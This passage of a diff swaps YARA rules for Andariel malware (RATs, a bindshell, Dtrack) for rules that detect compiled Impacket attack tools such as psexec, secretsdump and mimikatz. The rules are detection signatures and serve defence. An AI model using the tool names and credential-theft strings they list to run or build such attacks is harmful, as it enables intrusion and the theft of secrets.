-		modified = "2024-07-26"
-		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_nk_andariel_jul24.yar#L58-L81"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f289bbd71bdeaf2c42063642454679ec26de5ed24c020af40db694a0ced54884"
-		score = 80
+		description = "Compiled Impacket Tools"
+		author = "Florian Roth (Nextron Systems)"
+		id = "1bb0e747-e9b7-5a54-8052-428351be8d0d"
+		date = "2017-04-07"
+		modified = "2023-12-05"
+		reference = "https://github.com/maaaaz/impacket-examples-windows"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_impacket_tools.yar#L172-L186"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "18b772e19fd61d77f3a671ee097e0f032738a73a360f4cfe79df4eb6377e12b1"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "e2205539f29972d4e2a83eabf92af18dd406c9be97f70661c336ddf5eb496742"
 
 	strings:
-		$config_os_w = "os/windows" ascii
-		$config_os_l = "os/linux" ascii
-		$config_os_m = "os/mac" ascii
-		$config_comp_msft = "company/microsoft" ascii
-		$config_comp_orcl = "company/oracle" ascii
-		$POST_field_1 = "session=" ascii
-		$POST_field_2 = "type=" ascii
-		$command_misspelled = "renmae" ascii
+		$s2 = "bopdump.exe.manifest" fullword ascii
+		$s3 = "sopdump" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and 7 of them
+		( uint16(0)==0x5a4d and filesize <17000KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_APT_NK_Andariel_HHSD_Filetransfertool : FILE
+rule SIGNATURE_BASE_Impacket_Tools_Sniff : FILE
 {
 	meta:
-		description = "Detects a variant of the HHSD File Transfer Tool"
-		author = "CISA.gov"
-		id = "46b6dbaf-1272-5bbd-a586-5e48ba6c5022"
-		date = "2024-07-25"
-		modified = "2024-07-26"
-		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_nk_andariel_jul24.yar#L83-L120"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "757fd5e34bcbdf4efdc86a9dff058d92a0479019fbda1d26ad3ee4924b59f0cb"
-		score = 70
+		description = "Compiled Impacket Tools"
+		author = "Florian Roth (Nextron Systems)"
+		id = "07051edc-91a8-59d6-87bf-dba98ef28588"
+		date = "2017-04-07"
+		modified = "2023-12-05"
+		reference = "https://github.com/maaaaz/impacket-examples-windows"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_impacket_tools.yar#L188-L202"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b317e23d1f76cec4d5b14cb95d463ec410551052b30f1d2d5f52a441104108c0"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "8ab2b60aadf97e921e3a9df5cf1c135fbc851cb66d09b1043eaaa1dc01b9a699"
 
 	strings:
-		$handshake = { 30 ?? ?? 81 7? ?? 22 C0 78 00 4? 88 }
-		$err_xor_str = { 14 C7 [2] 14 00 41 00 C7 [2] 7A 00 7F 00 C7 [2] 7B 00 63 00 C7 [2] 7A 00 34 00 }
-		$buf_add_cmp_1f = { 4? 02 ?? 4? 02 ?? 3? 1F }
-		$hash_call_loadlib = { B? 8D 10 B7 F8 E8 }
-		$hash_call_unk = { B? 91 B8 F6 88 E8 }
+		$s1 = "ssniff" fullword ascii
+		$s2 = "impacket.eap(" ascii
 
 	condition:
-		uint16(0)==0x5a4d and 1 of ($handshake,$err_xor_str,$buf_add_cmp_1f) and 1 of ($hash_call_*) or 2 of ($handshake,$err_xor_str,$buf_add_cmp_1f)
+		( uint16(0)==0x5a4d and filesize <15000KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_APT_NK_Andariel_Atharvan_3RAT : FILE
+rule SIGNATURE_BASE_Impacket_Tools_Smbexec : FILE
 {
 	meta:
-		description = "Detects a variant of the Atharvan 3RAT malware family"
-		author = "CISA.gov"
-		id = "9ff6998a-a2dd-5671-bd3f-ee69561f71ef"
-		date = "2024-07-25"
-		modified = "2024-07-26"
-		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_nk_andariel_jul24.yar#L122-L135"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "741318234e245a35accc0b102a7891559ce5ef868ccdc3e6e4c8e59d8dea8b24"
-		score = 80
+		description = "Compiled Impacket Tools"
+		author = "Florian Roth (Nextron Systems)"
+		id = "02208817-2eab-54e2-90cf-44dbf5474607"
+		date = "2017-04-07"
+		modified = "2023-12-05"
+		reference = "https://github.com/maaaaz/impacket-examples-windows"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_impacket_tools.yar#L204-L218"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0f424dd5cc525ef0bd9671c4c1b8da0a1ff9eb79056cc081c1ebe7c9bf75fee6"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "7d715217e23a471d42d95c624179fe7de085af5670171d212b7b798ed9bf07c2"
 
 	strings:
-		$3RAT = "D:\\rang\\TOOL\\3RAT"
-		$atharvan = "Atharvan_dll.pdb"
+		$s1 = "logging.config(" ascii
+		$s2 = "ssmbexec" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and 1 of them
+		( uint16(0)==0x5a4d and filesize <17000KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_APT_NK_Andariel_Lilithrat_Variant : FILE
+rule SIGNATURE_BASE_Impacket_Tools_Goldenpac : FILE
 {
 	meta:
-		description = "Detects a variant of the Lilith RAT malware family"
-		author = "CISA.gov (modified by Florian Roth, Nextron Systems)"
-		id = "916a289b-db7b-5f09-9d3e-589c3f09101d"
-		date = "2024-07-25"
-		modified = "2024-07-26"
-		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_nk_andariel_jul24.yar#L137-L171"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3ce68908468ff85683b081842fa4faa579fbf6f7dc1a7fab5dcf7eac63d90aea"
-		score = 80
+		description = "Compiled Impacket Tools"
+		author = "Florian Roth (Nextron Systems)"
+		id = "9894d16c-83fa-5e1d-9ca6-572deeec006a"
+		date = "2017-04-07"
+		modified = "2023-12-05"
+		reference = "https://github.com/maaaaz/impacket-examples-windows"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_impacket_tools.yar#L220-L235"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0c764083a699204819f9ff6e2664a50d467447d0fff040ef32a8e28cc678b3cd"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "4f7fad0676d3c3d2d89e8d4e74b6ec40af731b1ddf5499a0b81fc3b1cd797ee3"
 
 	strings:
-		$lilith_1 = "Initiate a CMD session first." ascii
-		$lilith_2 = "CMD is not open" ascii
-		$lilith_3 = "Couldn't write command" ascii
-		$lilith_4 = "Couldn't write to CMD: CMD not open" ascii
-		$unique_1 = "Upload Error!" ascii
-		$unique_2 = "ERROR: Downloading is already running!" ascii
-		$unique_3 = "ERROR: Unable to open file:" ascii
-		$unique_4 = "General error" ascii
-		$unique_5 = "CMD error" ascii
-		$unique_6 = "killing self" ascii
+		$s1 = "impacket.examples.serviceinstall(" ascii
+		$s2 = "bgoldenPac.exe" fullword ascii
+		$s3 = "json.scanner(" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <150KB and ( all of ($lilith_*) or 4 of ($unique_*) or 1 of ($lilith_4,$unique_2))
+		( uint16(0)==0x5a4d and filesize <17000KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_APT_NK_Andariel_Sockstroy_Strings_Opcodes : FILE
+rule SIGNATURE_BASE_Impacket_Tools_Netview : FILE
 {
 	meta:
-		description = "Detects a variant of the SocksTroy malware family"
-		author = "CISA.gov"
-		id = "9e7fb6ba-771e-5cae-a0d5-c0b95ee6d4e9"
-		date = "2024-07-25"
-		modified = "2024-07-26"
-		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_nk_andariel_jul24.yar#L173-L191"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6ab31b285d0dba1745a2d8b172bd02931c6138e2b8e541203b88f111d179549b"
-		score = 80
+		description = "Compiled Impacket Tools"
+		author = "Florian Roth (Nextron Systems)"
+		id = "1b9238d2-b9b1-5633-8481-05a3a97af5a6"
+		date = "2017-04-07"
+		modified = "2023-12-05"
+		reference = "https://github.com/maaaaz/impacket-examples-windows"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_impacket_tools.yar#L237-L252"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e0beb6235838b4e8a1312ba53c539c6c3d732ba13a0190c654dcf7ec4389e364"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "ab909f8082c2d04f73d8be8f4c2640a5582294306dffdcc85e83a39d20c49ed6"
 
 	strings:
-		$strHost = "-host" wide
-		$strAuth = "-auth" wide
-		$SocksTroy = "SocksTroy"
-		$cOpCodeCheck = { 81 E? A0 00 00 00 0F 84 ?? ?? ?? ?? 83 E? 03 74 ?? 83 E? 02 74 ?? 83 F? 0B }
+		$s1 = "impacket.dcerpc.v5.wkst(" ascii
+		$s2 = "dummy_threading(" ascii
+		$s3 = "snetview" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and (1 of ($str*) and all of ($c*) or all of ($Socks*))
+		( uint16(0)==0x5a4d and filesize <17000KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_APT_NK_Andariel_Agni : FILE
+rule SIGNATURE_BASE_Impacket_Tools_Smbtorture : FILE
 {
 	meta:
-		description = "Detects samples of the Agni malware family"
-		author = "CISA.gov"
-		id = "ffe3f427-c10a-5ad4-ab29-c0d9b576c30f"
-		date = "2024-07-25"
-		modified = "2024-07-26"
-		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_nk_andariel_jul24.yar#L193-L207"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "302899b65e5a3a6beabbb46e80e3f0ff246c209206cc3a7f871011d68871d0b9"
-		score = 80
+		description = "Compiled Impacket Tools"
+		author = "Florian Roth (Nextron Systems)"
+		id = "4f9b55e2-93ce-5d08-a228-73233fb0a2c6"
+		date = "2017-04-07"
+		modified = "2023-12-05"
+		reference = "https://github.com/maaaaz/impacket-examples-windows"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_impacket_tools.yar#L254-L268"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "63cbd6511c5498b39fa5efadb8fe0caeeaa8d4c2afe534a0169ea38f205a9cba"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "d2856e98011541883e5b335cb46b713b1a6b2c414966a9de122ee7fb226aa7f7"
 
 	strings:
-		$xor = { 34 ?? 88 01 48 8D 49 01 0F B6 01 84 C0 75 F1 }
-		$stackstrings = { C7 44 24 [5-10] C7 44 24 [5] C7 44 24 [5-10] C7 44 24 [5-10] C7 44 24 }
+		$s1 = "impacket" fullword ascii
+		$s2 = "ssmbtorture" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and #xor>100 and #stackstrings>5
+		( uint16(0)==0x5a4d and filesize <17000KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_APT_NK_Andariel_Golang_Validalpha_Handshake
+rule SIGNATURE_BASE_Impacket_Tools_Mimikatz : FILE
 {
 	meta:
-		description = "Detects a variant of the GoLang Validalpha malware"
-		author = "CISA.gov"
-		id = "51dafa43-9da0-569a-9123-7e9800284046"
-		date = "2024-07-25"
-		modified = "2024-07-26"
-		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_nk_andariel_jul24.yar#L209-L220"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1978210d07d3298c0051c9faca16685636e3fb45131b4c2fcb7053a0b3ef84d1"
+		description = "Compiled Impacket Tools"
+		author = "Florian Roth (Nextron Systems)"
+		id = "0b1f5ad0-7070-58d5-946f-157dcb9627ab"
+		date = "2017-04-07"
+		modified = "2023-12-05"
+		reference = "https://github.com/maaaaz/impacket-examples-windows"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_impacket_tools.yar#L270-L285"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0dce4086887877aa77063dfa3c69d7a17cfa0815c4ca417144d3bbb6ebe68650"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "2d8d500bcb3ffd22ddd8bd68b5b2ce935c958304f03729442a20a28b2c0328c1"
 
 	strings:
-		$ = { 66 C7 00 AB CD C6 40 02 EF ?? 03 00 00 00 48 89 C1 ?? 03 00 00 00 }
+		$s1 = "impacket" fullword ascii
+		$s2 = "smimikatz" fullword ascii
+		$s3 = "otwsdlc" fullword ascii
 
 	condition:
-		all of them
+		( uint16(0)==0x5a4d and filesize <17000KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_APT_NK_Andariel_Golang_Validalpha_Tasks
+rule SIGNATURE_BASE_Impacket_Tools_Smbrelayx : FILE
 {
 	meta:
-		description = "Detects a variant of the GoLang Validalpha malware"
-		author = "CISA.gov"
-		id = "caa67a79-3ea6-5910-971c-f311722570ff"
-		date = "2024-07-25"
-		modified = "2024-07-26"
-		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_nk_andariel_jul24.yar#L222-L236"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0d3fb944888b289d345ffc8dfcc988abd04b8cabd1729a66e8236f95ee6147ee"
-		score = 80
+		description = "Compiled Impacket Tools"
+		author = "Florian Roth (Nextron Systems)"
+		id = "84abf3cf-841c-592d-a9d1-71d5e76eb43f"
+		date = "2017-04-07"
+		modified = "2023-12-05"
+		reference = "https://github.com/maaaaz/impacket-examples-windows"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_impacket_tools.yar#L287-L303"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2afcede9d9f5af102c68e705f29242bc3a56485e79c0acfc347a4ea7f823dfda"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "9706eb99e48e445ac4240b5acb2efd49468a800913e70e40b25c2bf80d6be35f"
 
 	strings:
-		$ = "main.ScreenMonitThread"
-		$ = "main.CmdShell"
-		$ = "main.GetAllFoldersAndFiles"
-		$ = "main.SelfDelete"
+		$s1 = "impacket.examples.secretsdump" fullword ascii
+		$s2 = "impacket.examples.serviceinstall" fullword ascii
+		$s3 = "impacket.smbserver(" ascii
+		$s4 = "SimpleHTTPServer(" ascii
 
 	condition:
-		all of them
+		( uint16(0)==0x5a4d and filesize <18000KB and 3 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_APT_NK_Andariel_Golang_Validalpha_Blackstring : FILE
+rule SIGNATURE_BASE_Impacket_Tools_Wmipersist : FILE
 {
 	meta:
-		description = "Detects a variant of the GoLang Validalpha malware based on a file path found in the samples"
-		author = "CISA.gov"
-		id = "36f46a1d-69b6-5c99-9a54-6a14d62d2721"
-		date = "2024-07-25"
-		modified = "2024-07-26"
-		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_nk_andariel_jul24.yar#L238-L249"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "07ea38890e99dd53437a23b7c4002851604b69a83bd7fb8971609226249e5954"
-		score = 90
+		description = "Compiled Impacket Tools"
+		author = "Florian Roth (Nextron Systems)"
+		id = "29bda652-28f0-5ab6-9bc2-411f20ab0dda"
+		date = "2017-04-07"
+		modified = "2023-12-05"
+		reference = "https://github.com/maaaaz/impacket-examples-windows"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_impacket_tools.yar#L305-L319"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "df0dfaed264e0acc57f74e40addcaf52f6d8e832524eb638b682a358c81da83f"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "2527fff1a3c780f6a757f13a8912278a417aea84295af1abfa4666572bbbf086"
 
 	strings:
-		$ = "I:/01___Tools/02__RAT/Black"
+		$s1 = "swmipersist" fullword ascii
+		$s2 = "\\yzHPlU=QA" ascii
 
 	condition:
-		uint16(0)==0x5A4D and all of them
+		( uint16(0)==0x5a4d and filesize <17000KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_APT_NK_Andariel_ELF_Backdoor_Fipps : FILE
+rule SIGNATURE_BASE_Impacket_Tools_Lookupsid : FILE
 {
 	meta:
-		description = "Detects a Linux backdoor named Fipps used by Andariel"
-		author = "CISA.gov"
-		id = "040bca78-8b7e-5397-8a2b-1ddeed59eea3"
-		date = "2024-07-25"
-		modified = "2024-07-26"
-		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_nk_andariel_jul24.yar#L279-L294"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3b57eb6c6b89e93863b9600c4a1384f3e064f236e827ef9ffc37b1e5dcff7d24"
-		score = 80
+		description = "Compiled Impacket Tools"
+		author = "Florian Roth (Nextron Systems)"
+		id = "27f13397-b044-54b4-b5e8-c5f7ed374f59"
+		date = "2017-04-07"
+		modified = "2023-12-05"
+		reference = "https://github.com/maaaaz/impacket-examples-windows"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_impacket_tools.yar#L321-L335"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "629ddd49377017d6ea2aac9665b21dfdf9a50c917bf915ea892faafd841bf817"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "47756725d7a752d3d3cfccfb02e7df4fa0769b72e008ae5c85c018be4cf35cc1"
 
 	strings:
-		$a = "found mac address"
-		$b = "RecvThread"
-		$c = "OpenSSL-1.0.0-fipps"
-		$d = "Disconnected!"
+		$s1 = "slookupsid" fullword ascii
+		$s2 = "impacket.dcerpc" fullword ascii
 
 	condition:
-		uint32(0)==0x464c457f and all of them
+		( uint16(0)==0x5a4d and filesize <15000KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_APT_NK_Andariel_Bindshell : FILE
+rule SIGNATURE_BASE_Impacket_Tools_Wmiquery : FILE
 {
 	meta:
-		description = "Detects a BindShell used by Andariel"
-		author = "CISA.gov"
-		id = "3f6d83da-cea5-5e12-b0ba-93ace09d3d5c"
-		date = "2024-07-25"
-		modified = "2024-07-26"
-		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_nk_andariel_jul24.yar#L296-L313"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "409aa6a27d81e14ea90d90ee02924cb11f5fecef592e6577b084f9ab2dde35fc"
-		score = 70
+		description = "Compiled Impacket Tools"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e8bdf27a-9763-5947-854f-162f74ff53be"
+		date = "2017-04-07"
+		modified = "2023-12-05"
+		reference = "https://github.com/maaaaz/impacket-examples-windows"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_impacket_tools.yar#L337-L351"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "fa237b5c1b4881804c33152a1ce9f3a571b506178fde455a8dd9f92af68c5610"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "202a1d149be35d96e491b0b65516f631f3486215f78526160cf262d8ae179094"
 
 	strings:
-		$str_comspec = "COMSPEC"
-		$str_consolewindow = "GetConsoleWindow"
-		$str_ShowWindow = "ShowWindow"
-		$str_WSASocketA = "WSASocketA"
-		$str_CreateProcessA = "CreateProcessA"
-		$str_port = { B9 4D 05 00 00 89 }
+		$s1 = "swmiquery" fullword ascii
+		$s2 = "\\yzHPlU=QA" ascii
 
 	condition:
-		uint16(0)==0x5A4D and all of them
+		( uint16(0)==0x5a4d and filesize <17000KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_APT_NK_Andariel_Grease2 : FILE
+rule SIGNATURE_BASE_Impacket_Tools_Atexec : FILE
 {
 	meta:
-		description = "Detects the Grease2 malware family used by Andariel"
-		author = "CISA.gov (modified by Florian Roth, Nextron Systems)"
-		id = "4defbe08-b3c6-5ab9-9a57-cec57ff42d9a"
-		date = "2024-07-25"
-		modified = "2024-07-26"
-		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_nk_andariel_jul24.yar#L315-L335"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "138fc915206e0c2834090ebc0a808913488121d51c17de3dbfadcb4099fbfa2f"
-		score = 80
+		description = "Compiled Impacket Tools"
+		author = "Florian Roth (Nextron Systems)"
+		id = "4f02e304-69d4-5952-80be-793379bccac0"
+		date = "2017-04-07"
+		modified = "2023-12-05"
+		reference = "https://github.com/maaaaz/impacket-examples-windows"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_impacket_tools.yar#L353-L369"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e9537a67e17fb980505aead84b15c7dc8a2f3f1e9a4088edd8b313f1b7a9675d"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "337bd5858aba0380e16ee9a9d8f0b3f5bfc10056ced4e75901207166689fbedc"
 
 	strings:
-		$str_rdpconf = "emp\\RDPConf.exe"
-		$str_rdpwinst = "emp\\RDPWInst.exe"
-		$str_net_user = "net user"
-		$str_admins_add = "net localgroup administrators"
+		$s1 = "batexec.exe.manifest" fullword ascii
+		$s2 = "satexec" fullword ascii
+		$s3 = "impacket.dcerpc" fullword ascii
+		$s4 = "# CSZq" fullword ascii
 
 	condition:
-		uint16(0)==0x5A4D and all of them
+		( uint16(0)==0x5a4d and filesize <15000KB and 3 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_APT_NK_Andariel_Nopineapple_Dtrack_Unpacked : FILE
+rule SIGNATURE_BASE_Impacket_Tools_Psexec : FILE
 {
 	meta:
-		description = "Detects the Dtrack variant used by Andariel"
-		author = "CISA.gov"
-		id = "6ccaf24b-c110-5788-a792-fa7f39fb18f7"
-		date = "2024-07-25"
-		modified = "2024-07-26"
-		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_nk_andariel_jul24.yar#L337-L351"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cf5f92a66ba3ff4db61102dcc50b781e8dd14ca7cb1eb70dae8eba2ed0910b66"
-		score = 80
+		description = "Compiled Impacket Tools"
+		author = "Florian Roth (Nextron Systems)"
+		id = "5e8d0964-7e6a-5ff6-b9db-e37f997c3e05"
+		date = "2017-04-07"
+		modified = "2023-12-05"
+		reference = "https://github.com/maaaaz/impacket-examples-windows"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_impacket_tools.yar#L371-L386"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "922b2adec9c73d36343c0182f72f5a325c93c051a22e3f80236f942287d0738b"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "27bb10569a872367ba1cfca3cf1c9b428422c82af7ab4c2728f501406461c364"
 
 	strings:
-		$str_nopineapple = "< No Pineapple! >"
-		$str_qt_library = "Qt 5.12.10"
-		$str_xor = {8B 10 83 F6 ?? 83 FA 01 77}
+		$s1 = "impacket.examples.serviceinstall(" ascii
+		$s2 = "spsexec" fullword ascii
+		$s3 = "impacket.examples.remcomsvc(" ascii
 
 	condition:
-		uint16(0)==0x5A4D and all of them
+		( uint16(0)==0x5a4d and filesize <17000KB and 2 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_APT_NK_Andariel_Dtrack_Unpacked : FILE
+rule SIGNATURE_BASE_Impacket_Tools_Generic_1 : FILE
 {
 	meta:
-		description = "Detects DTrack variant used by Andariel"
-		author = "CISA.gov (modified by Florian Roth, Nextron Systems)"
-		id = "0c161275-2b2e-51a4-9e08-c118fb4c8671"
-		date = "2024-07-25"
-		modified = "2024-07-26"
